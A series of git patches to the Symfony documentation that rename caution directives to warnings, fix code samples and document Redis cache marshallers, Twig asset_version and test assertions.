output escaping is **not** applied to translations @@ -536,7 +536,7 @@ The choice of which loader to use is entirely up to you and is a matter of taste. The recommended option is to use YAML for simple projects and use XLIFF if you're generating translations with specialized programs or teams. -.. caution:: +.. warning:: Each time you create a *new* message catalog (or install a bundle that includes a translation catalog), be sure to clear your cache so @@ -1188,7 +1188,7 @@ unused translation messages templates: {{ 'Symfony is great'|trans }} -.. caution:: +.. warning:: The extractors can't find messages translated outside templates (like form labels or controllers) unless using :ref:`translatable objects diff --git a/validation.rst b/validation.rst index d391aa6492c..79ab57dc8e4 100644 --- a/validation.rst +++ b/validation.rst @@ -529,7 +529,7 @@ class to have at least 3 characters. } } -.. caution:: +.. warning:: The validator will use a value ``null`` if a typed property is uninitialized. This can cause unexpected behavior if the property holds a value when initialized. diff --git a/validation/groups.rst b/validation/groups.rst index 3842c781969..8d84e52c0da 100644 --- a/validation/groups.rst +++ b/validation/groups.rst @@ -140,7 +140,7 @@ Constraints in the ``Default`` group of a class are the constraints that have either no explicit group configured or that are configured to a group equal to the class name or the string ``Default``. -.. caution:: +.. warning:: When validating *just* the User object, there is no difference between the ``Default`` group and the ``User`` group. But, there is a difference if diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst index 7d3663f45fc..836568c2327 100644 --- a/validation/sequence_provider.rst +++ b/validation/sequence_provider.rst @@ -117,7 +117,7 @@ In this example, it will first validate all constraints in the group ``User`` (which is the same as the ``Default`` group). Only if all constraints in that group are valid, the second group, ``Strict``, will be validated. -.. caution:: +.. warning:: As you have already seen in :doc:`/validation/groups`, the ``Default`` group and the group containing the class name (e.g. ``User``) were identical. @@ -131,7 +131,7 @@ that group are valid, the second group, ``Strict``, will be validated. sequence, which will contain the ``Default`` group which references the same group sequence, ...). -.. caution:: +.. warning:: Calling ``validate()`` with a group in the sequence (``Strict`` in previous example) will cause a validation **only** with that group and not with all diff --git a/workflow.rst b/workflow.rst index 1bf693af049..42c464840ab 100644 --- a/workflow.rst +++ b/workflow.rst @@ -316,7 +316,7 @@ if you are using Doctrine, the matching column definition should use the type `` // ... } -.. caution:: +.. warning:: You should not use the type ``simple_array`` for your marking store. Inside a multiple state marking store, places are stored as keys with a value of one, From 85ceb630c6ec51f55f185847dc191d5dad2e712b Mon Sep 17 00:00:00 2001 From: Timo Bakx <github@timobakx.dev> Date: Sat, 7 Dec 2024 12:13:49 +0100 Subject: [PATCH 545/615] Replaced `caution` directive by `warning` Fixes #20371 --- components/type_info.rst | 2 +- doctrine.rst | 2 +- mailer.rst | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/components/type_info.rst b/components/type_info.rst index 30ae11aa222..2fd64b9bc5d 100644 --- a/components/type_info.rst +++ b/components/type_info.rst @@ -11,7 +11,7 @@ This component provides: * A way to get types from PHP elements such as properties, method arguments, return types, and raw strings. -.. caution:: +.. warning:: This component is :doc:`experimental </contributing/code/experimental>` and could be changed at any time without prior notice. diff --git a/doctrine.rst b/doctrine.rst index f9c1d153d82..171f8a3348a 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -320,7 +320,7 @@ before, execute your migrations: $ php bin/console doctrine:migrations:migrate -.. caution:: +.. warning:: If you are using an SQLite database, you'll see the following error: *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL diff --git a/mailer.rst b/mailer.rst index 0d3e296ee77..06feb1e5c29 100644 --- a/mailer.rst +++ b/mailer.rst @@ -361,7 +361,7 @@ setting the ``auto_tls`` option to ``false`` in the DSN:: $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false'; -.. caution:: +.. warning:: It's not recommended to disable TLS while connecting to an SMTP server over the Internet, but it can be useful when both the application and the SMTP From 0f8ce658c5381d1ab5910e2dcd84dde27cbc200f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Sat, 7 Dec 2024 12:58:50 +0100 Subject: [PATCH 546/615] [Mesenger] Mention that some option doesn't have docs --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index c86ae948b0c..9d5ab5d35c8 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1465,7 +1465,7 @@ The transport has a number of options: (no description available) ``sasl_method`` - + (no description available) ``connection_name`` For custom connection names (requires at least version 1.10 of the PHP AMQP From b53029a64602d1cde5aa704ae1145532ee875bf3 Mon Sep 17 00:00:00 2001 From: Matthias Schmidt <matthias@mttsch.dev> Date: Mon, 22 Apr 2024 18:56:41 +0200 Subject: [PATCH 547/615] [Serializer] Add class/format/context to NameConverterInterface Fix #19683 --- serializer/custom_name_converter.rst | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst index 82247134217..d0ed45bdc0a 100644 --- a/serializer/custom_name_converter.rst +++ b/serializer/custom_name_converter.rst @@ -30,19 +30,26 @@ A custom name converter can handle such cases:: class OrgPrefixNameConverter implements NameConverterInterface { - public function normalize(string $propertyName): string + public function normalize(string $propertyName, string $class = null, ?string $format = null, array $context = []): string { // during normalization, add the prefix return 'org_'.$propertyName; } - public function denormalize(string $propertyName): string + public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string { // remove the 'org_' prefix on denormalizing return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName; } } +.. versionadded:: 7.1 + + Accessing the current class name, format and context via + :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::normalize` + and :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::denormalize` + was introduced in Symfony 7.1. + .. note:: You can also implement From a1d672b429048484cb491225a835ec58d0fafd00 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Sat, 7 Dec 2024 14:06:39 +0100 Subject: [PATCH 548/615] add symfonycasts links in frontend doc --- frontend.rst | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/frontend.rst b/frontend.rst index f498dc737b5..c28e6fcf222 100644 --- a/frontend.rst +++ b/frontend.rst @@ -61,6 +61,10 @@ be executed by a browser. AssetMapper (Recommended) ~~~~~~~~~~~~~~~~~~~~~~~~~ +.. screencast:: + + Do you prefer video tutorials? Check out the `AssetMapper screencast series`_. + AssetMapper is the recommended system for handling your assets. It runs entirely in PHP with no complex build step or dependencies. It does this by leveraging the ``importmap`` feature of your browser, which is available in all browsers thanks @@ -118,6 +122,10 @@ the `StimulusBundle Documentation`_ Using a Front-end Framework (React, Vue, Svelte, etc) ----------------------------------------------------- +.. screencast:: + + Do you prefer video tutorials? Check out the `API Platform screencast series`_. + If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc), we recommend using their native tools and using Symfony as a pure API. A wonderful tool to do that is `API Platform`_. Their standard distribution comes with a @@ -143,3 +151,5 @@ Other Front-End Articles .. _`Symfony UX`: https://ux.symfony.com .. _`API Platform`: https://api-platform.com/ .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle +.. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper +.. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform From d159a4a03e036d7a4664fd02fe07ddf1480850a4 Mon Sep 17 00:00:00 2001 From: Nicolas Appriou <n.appriou@alsim.com> Date: Wed, 1 Feb 2023 12:55:17 +0100 Subject: [PATCH 549/615] [HttpFoundation] Update http response test constraint signature --- testing.rst | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/testing.rst b/testing.rst index 2e681c70543..30c0e87ab77 100644 --- a/testing.rst +++ b/testing.rst @@ -961,11 +961,11 @@ However, Symfony provides useful shortcut methods for the most common cases: Response Assertions ................... -``assertResponseIsSuccessful(string $message = '')`` +``assertResponseIsSuccessful(string $message = '', bool $verbose = true)`` Asserts that the response was successful (HTTP status is 2xx). -``assertResponseStatusCodeSame(int $expectedCode, string $message = '')`` +``assertResponseStatusCodeSame(int $expectedCode, string $message = '', bool $verbose = true)`` Asserts a specific HTTP status code. -``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')`` +``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '', bool $verbose = true)`` Asserts the response is a redirect response (optionally, you can check the target location and status code). The excepted location can be either an absolute or a relative path. @@ -983,9 +983,13 @@ Response Assertions Asserts the response format returned by the :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method is the same as the expected value. -``assertResponseIsUnprocessable(string $message = '')`` +``assertResponseIsUnprocessable(string $message = '', bool $verbose = true)`` Asserts the response is unprocessable (HTTP status is 422) +.. versionadded:: 7.1 + + The ``$verbose`` parameters were introduced in Symfony 7.1. + Request Assertions .................. From 525deadc804f27e9f2ff6f54665a5fdfd4065d58 Mon Sep 17 00:00:00 2001 From: chris <chris@sky-scripts.de> Date: Mon, 21 Aug 2023 20:26:56 +0200 Subject: [PATCH 550/615] Update calling_commands.rst - call the command non interactively https://github.com/symfony/symfony/issues/51339 --- console/calling_commands.rst | 3 +++ 1 file changed, 3 insertions(+) diff --git a/console/calling_commands.rst b/console/calling_commands.rst index 7780fca467e..349f1357682 100644 --- a/console/calling_commands.rst +++ b/console/calling_commands.rst @@ -36,6 +36,9 @@ method):: '--yell' => true, ]); + // disable interactive behavior for the greet command + $greetInput->setInteractive(false); + $returnCode = $this->getApplication()->doRun($greetInput, $output); // ... From fd5d5bb0bdc2f6eb46564081cffa98e1d7e06b84 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Sat, 7 Dec 2024 14:42:35 +0100 Subject: [PATCH 551/615] Remove obsolete whitelist entry --- .doctor-rst.yaml | 1 - 1 file changed, 1 deletion(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index f78b5c21ec9..4bac215563d 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -101,7 +101,6 @@ whitelist: - '#. The most important config file is ``app/config/services.yml``, which now is' - 'The bin/console Command' - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection' - - '.. versionadded:: 2.7.2' # Doctrine - '.. versionadded:: 2.8.0' # Doctrine - '.. versionadded:: 1.9.0' # Encore - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst From 5dfb6fc91618c5a57cf166159f0eab2762951d7c Mon Sep 17 00:00:00 2001 From: Patryk Miedziaszczyk <57354820+Euugi@users.noreply.github.com> Date: Tue, 4 Jun 2024 19:23:39 +0200 Subject: [PATCH 552/615] Add more necessary information --- reference/forms/types/time.rst | 3 +++ 1 file changed, 3 insertions(+) diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst index e4ec432da08..6763289fcc2 100644 --- a/reference/forms/types/time.rst +++ b/reference/forms/types/time.rst @@ -82,6 +82,9 @@ values for the hour, minute and second fields:: ], ]); +If you want seconds to be displayed as well, take a look at the setting +`with_seconds`_, which is by default set to false. + .. include:: /reference/forms/types/options/hours.rst.inc .. include:: /reference/forms/types/options/html5.rst.inc From 6aa67f514e7d6d2134e2b091e70ceb3feb3761b9 Mon Sep 17 00:00:00 2001 From: Wouter de Jong <wouter@wouterj.nl> Date: Sat, 7 Dec 2024 14:50:39 +0100 Subject: [PATCH 553/615] [#19940] Use specialized directive --- reference/forms/types/time.rst | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst index 6763289fcc2..f6a612844be 100644 --- a/reference/forms/types/time.rst +++ b/reference/forms/types/time.rst @@ -82,8 +82,9 @@ values for the hour, minute and second fields:: ], ]); -If you want seconds to be displayed as well, take a look at the setting -`with_seconds`_, which is by default set to false. +.. seealso:: + + See the `with_seconds`_ option on how to enable seconds in the form type. .. include:: /reference/forms/types/options/hours.rst.inc From 35a3db1adfb2c59c46bce81fe57971c74eaf2056 Mon Sep 17 00:00:00 2001 From: Timo Bakx <github@timobakx.dev> Date: Sat, 7 Dec 2024 16:49:57 +0100 Subject: [PATCH 554/615] Added replacement suggestions for forbidden directives Also bumped DOCtor RST workflow to 1.64.0 to allow this --- .doctor-rst.yaml | 3 ++- .github/workflows/ci.yaml | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index f78b5c21ec9..f151f91e018 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -23,7 +23,8 @@ rules: forbidden_directives: directives: - '.. index::' - - '.. caution::' + - directive: '.. caution::' + replacements: ['.. warning::', '.. danger::'] indention: ~ lowercase_as_in_use_statements: ~ max_blank_lines: diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 4d67a5c084c..d072158138a 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.63.0 + uses: docker://oskarstark/doctor-rst:1.64.0 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache From d94be3f1575f1696e088378390ec7cc03cd9dbf2 Mon Sep 17 00:00:00 2001 From: Florian Moser <git@famoser.ch> Date: Sun, 8 Dec 2024 15:52:04 +0100 Subject: [PATCH 555/615] Add missing argument --- serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer.rst b/serializer.rst index c783b138acb..4a4a934ca01 100644 --- a/serializer.rst +++ b/serializer.rst @@ -1818,7 +1818,7 @@ property. This can be used instead of }, ], ]; - $jsonContent = $serializer->serialize($person, 'json'); + $jsonContent = $serializer->serialize($person, 'json', $context); // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"} Advanced Deserialization From b38b1fac1fefda1706e10c32d06d9bade6952af7 Mon Sep 17 00:00:00 2001 From: pgorod <pgorod@users.noreply.github.com> Date: Fri, 6 Dec 2024 12:32:39 +0000 Subject: [PATCH 556/615] [Scheduler] Add some pointers regarding worker processes deployment --- scheduler.rst | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/scheduler.rst b/scheduler.rst index 160ba26e0cb..8956ff2fe8d 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -818,6 +818,14 @@ the Messenger component: .. image:: /_images/components/scheduler/generate_consume.png :alt: Symfony Scheduler - generate and consume +.. tip:: + + Depending on your deployment scenario, instead of manually executing this + Messenger worker process, you might want to run it with cron, supervisor or systemd, + and ensure workers are running at all times. Check out the `Deploying to Production`_ + section of the Messenger component documentation. + + Creating a Consumer Programmatically ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -981,6 +989,7 @@ helping you identify those messages when needed. to redispatched messages was introduced in Symfony 6.4. .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron .. _`crontab.guru website`: https://crontab.guru/ From d03ce88795d97e980023bf76d155a9625dd17fea Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 10 Dec 2024 13:10:00 +0100 Subject: [PATCH 557/615] Minor tweaks --- scheduler.rst | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index 8956ff2fe8d..64602cf6034 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -820,11 +820,10 @@ the Messenger component: .. tip:: - Depending on your deployment scenario, instead of manually executing this - Messenger worker process, you might want to run it with cron, supervisor or systemd, - and ensure workers are running at all times. Check out the `Deploying to Production`_ - section of the Messenger component documentation. - + Depending on your deployment scenario, you may prefer automating the execution of + the Messenger worker process using tools like cron, Supervisor, or systemd. + This ensures workers are running continuously. For more details, refer to the + `Deploying to Production`_ section of the Messenger component documentation. Creating a Consumer Programmatically ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From b16b5673e831e6a0fd86367135e47509e6d58165 Mon Sep 17 00:00:00 2001 From: Arnaud Lemercier <arnaud@wixiweb.fr> Date: Sun, 8 Dec 2024 19:23:50 +0100 Subject: [PATCH 558/615] Update controller.rst fix a problem to load "Style" (see : https://frankenphp.dev/docs/early-hints/) --- controller.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller.rst b/controller.rst index 8eddd3788cc..3d4f84b4888 100644 --- a/controller.rst +++ b/controller.rst @@ -798,7 +798,7 @@ method:: { $response = $this->sendEarlyHints([ new Link(rel: 'preconnect', href: 'https://fonts.google.com'), - (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'), + (new Link(href: '/style.css'))->withAttribute('as', 'style'), (new Link(href: '/script.js'))->withAttribute('as', 'script'), ]); From bdb07f88195a9081f9ce2f6f16afa426c4314ea8 Mon Sep 17 00:00:00 2001 From: lacatoire <louis-arnaud.catoire@external.drivalia.com> Date: Mon, 18 Nov 2024 10:16:59 +0100 Subject: [PATCH 559/615] Add few doc on marshaller in redis adapter --- components/cache/adapters/redis_adapter.rst | 75 ++++++++++++++++++++- 1 file changed, 74 insertions(+), 1 deletion(-) diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst index 827e2dfb00d..a24e24f928d 100644 --- a/components/cache/adapters/redis_adapter.rst +++ b/components/cache/adapters/redis_adapter.rst @@ -38,7 +38,11 @@ as the second and third parameters:: // the default lifetime (in seconds) for cache items that do not define their // own lifetime, with a value 0 causing items to be stored indefinitely (i.e. // until RedisAdapter::clear() is invoked or the server(s) are purged) - $defaultLifetime = 0 + $defaultLifetime = 0, + // $marshaller (optional) MarshallerInterface instance to control serialization + // and deserialization of cache items. By default, it uses native PHP serialization. + // Useful to compress data, use custom serialization, or optimize the size and performance of cached items. + ?MarshallerInterface $marshaller = null ); .. versionadded:: 6.3 @@ -266,6 +270,75 @@ performance when using tag-based invalidation:: Read more about this topic in the official `Redis LRU Cache Documentation`_. +Working with Marshaller +----------------------- + +TagAwareMarshaller for Tag-Based Caching +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Optimizes caching for tag-based retrieval, allowing efficient management of related items:: + + $marshaller = new TagAwareMarshaller(); + + $cache = new RedisAdapter($redis, 'tagged_namespace', 3600, $marshaller); + + $item = $cache->getItem('tagged_key'); + $item->set(['value' => 'some_data', 'tags' => ['tag1', 'tag2']]); + $cache->save($item); + +SodiumMarshaller for Encrypted Caching +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Encrypts cached data with Sodium for added security:: + + $encryptionKeys = [sodium_crypto_box_keypair()]; + $marshaller = new SodiumMarshaller($encryptionKeys); + + $cache = new RedisAdapter($redis, 'secure_namespace', 3600, $marshaller); + + $item = $cache->getItem('secure_key'); + $item->set('confidential_data'); + $cache->save($item); + +DefaultMarshaller with igbinary Serialization +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Uses igbinary for faster, more efficient serialization when available:: + + $marshaller = new DefaultMarshaller(true); + + $cache = new RedisAdapter($redis, 'optimized_namespace', 3600, $marshaller); + + $item = $cache->getItem('optimized_key'); + $item->set(['data' => 'optimized_data']); + $cache->save($item); + +DefaultMarshaller with Exception on Failure +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Throws an exception if serialization fails, aiding in error handling:: + + $marshaller = new DefaultMarshaller(false, true); + + $cache = new RedisAdapter($redis, 'error_namespace', 3600, $marshaller); + + try { + $item = $cache->getItem('error_key'); + $item->set('data'); + $cache->save($item); + } catch (\ValueError $e) { + echo 'Serialization failed: ' . $e->getMessage(); + } + +SodiumMarshaller with Key Rotation +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Supports key rotation, allowing secure decryption with both old and new keys:: + + $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()]; + $marshaller = new SodiumMarshaller($keys); + + $cache = new RedisAdapter($redis, 'rotated_namespace', 3600, $marshaller); + + $item = $cache->getItem('rotated_key'); + $item->set('data_to_encrypt'); + $cache->save($item); + .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name .. _`Redis server`: https://redis.io/ .. _`Redis`: https://github.com/phpredis/phpredis From 810f06d5de6a2460931b9003c1725445c2ddeba6 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 12 Dec 2024 16:34:38 +0100 Subject: [PATCH 560/615] Minor tweaks --- components/cache/adapters/redis_adapter.rst | 23 ++++++++++++++------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst index a24e24f928d..503fc42454d 100644 --- a/components/cache/adapters/redis_adapter.rst +++ b/components/cache/adapters/redis_adapter.rst @@ -39,9 +39,11 @@ as the second and third parameters:: // own lifetime, with a value 0 causing items to be stored indefinitely (i.e. // until RedisAdapter::clear() is invoked or the server(s) are purged) $defaultLifetime = 0, - // $marshaller (optional) MarshallerInterface instance to control serialization - // and deserialization of cache items. By default, it uses native PHP serialization. - // Useful to compress data, use custom serialization, or optimize the size and performance of cached items. + + // $marshaller (optional) An instance of MarshallerInterface to control the serialization + // and deserialization of cache items. By default, native PHP serialization is used. + // This can be useful for compressing data, applying custom serialization logic, or + // optimizing the size and performance of cached items ?MarshallerInterface $marshaller = null ); @@ -275,6 +277,7 @@ Working with Marshaller TagAwareMarshaller for Tag-Based Caching ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Optimizes caching for tag-based retrieval, allowing efficient management of related items:: $marshaller = new TagAwareMarshaller(); @@ -287,7 +290,8 @@ Optimizes caching for tag-based retrieval, allowing efficient management of rela SodiumMarshaller for Encrypted Caching ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Encrypts cached data with Sodium for added security:: + +Encrypts cached data using Sodium for enhanced security:: $encryptionKeys = [sodium_crypto_box_keypair()]; $marshaller = new SodiumMarshaller($encryptionKeys); @@ -300,7 +304,8 @@ Encrypts cached data with Sodium for added security:: DefaultMarshaller with igbinary Serialization ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Uses igbinary for faster, more efficient serialization when available:: + +Uses ``igbinary` for faster and more efficient serialization when available:: $marshaller = new DefaultMarshaller(true); @@ -312,7 +317,8 @@ Uses igbinary for faster, more efficient serialization when available:: DefaultMarshaller with Exception on Failure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Throws an exception if serialization fails, aiding in error handling:: + +Throws an exception if serialization fails, facilitating error handling:: $marshaller = new DefaultMarshaller(false, true); @@ -323,12 +329,13 @@ Throws an exception if serialization fails, aiding in error handling:: $item->set('data'); $cache->save($item); } catch (\ValueError $e) { - echo 'Serialization failed: ' . $e->getMessage(); + echo 'Serialization failed: '.$e->getMessage(); } SodiumMarshaller with Key Rotation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Supports key rotation, allowing secure decryption with both old and new keys:: + +Supports key rotation, ensuring secure decryption with both old and new keys:: $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()]; $marshaller = new SodiumMarshaller($keys); From 5a43fd2da07b1bdd2b8e048d619da1ccdeb94a6f Mon Sep 17 00:00:00 2001 From: David Harding <daveharding@me.com> Date: Fri, 13 Dec 2024 12:39:15 +0000 Subject: [PATCH 561/615] Update serializer.rst The $maxDepthHandler function might return NULL, but the return type is set to : string, which causes a TypeError to be thrown. This change allows the $maxDepthHandler function to return null, by changing the return type to : ?string for this example. --- serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer.rst b/serializer.rst index 4a4a934ca01..47ea5b66c60 100644 --- a/serializer.rst +++ b/serializer.rst @@ -1789,7 +1789,7 @@ identifier of the next nested object, instead of omitting the property:: $child = new Person('Joe', $mother); // all callback parameters are optional (you can omit the ones you don't use) - $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string { + $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): ?string { // return only the name of the next person in the tree return $innerObject instanceof Person ? $innerObject->getName() : null; }; From b4d7d4f608ea809e4a35d69cfab1f4f5893f1e0d Mon Sep 17 00:00:00 2001 From: sarah-eit <s.fleret@itefficience.com> Date: Wed, 11 Dec 2024 11:25:17 +0100 Subject: [PATCH 562/615] =?UTF-8?q?[Twig]=20[Twig=20Reference]=20fix=20pat?= =?UTF-8?q?h=20parameter=20and=20add=20example=20in=20asset=20v=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- reference/twig_reference.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index a34cfe58f0c..21f251dc6de 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -130,8 +130,10 @@ asset_version .. code-block:: twig - {{ asset_version(packageName = null) }} + {{ asset_version(path, packageName = null) }} +``path`` + **type**: ``string`` ``packageName`` *(optional)* **type**: ``string`` | ``null`` **default**: ``null`` From b0f09c62f9bfbd876ea954b1a302491fb05473e7 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Tue, 17 Dec 2024 09:34:01 +0100 Subject: [PATCH 563/615] use ? before nullable single type declaration --- serializer/custom_name_converter.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst index d0ed45bdc0a..49dafb02cc4 100644 --- a/serializer/custom_name_converter.rst +++ b/serializer/custom_name_converter.rst @@ -30,7 +30,7 @@ A custom name converter can handle such cases:: class OrgPrefixNameConverter implements NameConverterInterface { - public function normalize(string $propertyName, string $class = null, ?string $format = null, array $context = []): string + public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string { // during normalization, add the prefix return 'org_'.$propertyName; From b487d45483249fdd41f29a3f8aafe42354ba4c6e Mon Sep 17 00:00:00 2001 From: Rick Ogden <rickogden@users.noreply.github.com> Date: Tue, 17 Dec 2024 11:08:42 +0000 Subject: [PATCH 564/615] Update http_client.rst Test Examples Reordered assertSame arguments to use the conventional and consistent order to `$this->assertSame($expected, $actual);`. --- http_client.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/http_client.rst b/http_client.rst index e7128f1bc66..32ef552c64f 100644 --- a/http_client.rst +++ b/http_client.rst @@ -2233,7 +2233,7 @@ test it in a real application:: ); $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']); - $this->assertSame($responseData, $expectedResponseData); + $this->assertSame($expectedResponseData, $responseData); } } @@ -2266,7 +2266,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati $responseData = $service->createArticle($requestData); // Assert - $this->assertSame($responseData, 'the expected response'); + $this->assertSame('the expected response', $responseData); } } From b72ecdc5f36290b9c1a6dbfe7f92aca51b0745f8 Mon Sep 17 00:00:00 2001 From: Antoine M <amakdessi@me.com> Date: Wed, 18 Dec 2024 17:09:48 +0100 Subject: [PATCH 565/615] doc(runtime): add frankenphp --- components/runtime.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/components/runtime.rst b/components/runtime.rst index d357bdb8aea..4eb75de2a75 100644 --- a/components/runtime.rst +++ b/components/runtime.rst @@ -3,7 +3,7 @@ The Runtime Component The Runtime Component decouples the bootstrapping logic from any global state to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_, - `Swoole`_, etc. without any changes. + `Swoole`_, `FrankenPHP`_ etc. without any changes. Installation ------------ @@ -487,6 +487,7 @@ The end user will now be able to create front controller like:: .. _PHP-PM: https://github.com/php-pm/php-pm .. _Swoole: https://openswoole.com/ +.. _FrankenPHP: https://frankenphp.dev/ .. _ReactPHP: https://reactphp.org/ .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/ .. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template From 775bab6722a5e7c1f2a58657b5c7ea18f0341259 Mon Sep 17 00:00:00 2001 From: Corentin <47939924+corentingd@users.noreply.github.com> Date: Thu, 19 Dec 2024 15:31:38 +0100 Subject: [PATCH 566/615] Update File.rst Replace mimeTypes parameters by "extension" and "extensions" in extensionMessage option --- reference/constraints/File.rst | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst index 3930d898c7e..fb9a61b4a29 100644 --- a/reference/constraints/File.rst +++ b/reference/constraints/File.rst @@ -314,7 +314,12 @@ Parameter Description The message displayed if the extension of the file is not a valid extension per the `extensions`_ option. -.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc +==================== ============================================================== +Parameter Description +==================== ============================================================== +``{{ extension }}`` The extension of the given file +``{{ extensions }}`` The list of allowed file extensions +==================== ============================================================== ``mimeTypesMessage`` ~~~~~~~~~~~~~~~~~~~~ From f7b5169f405d491eb9fe6939ba8034c374a63598 Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Sun, 22 Dec 2024 12:09:11 +0100 Subject: [PATCH 567/615] Constraints cache with private properties --- validation/custom_constraint.rst | 40 ++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff 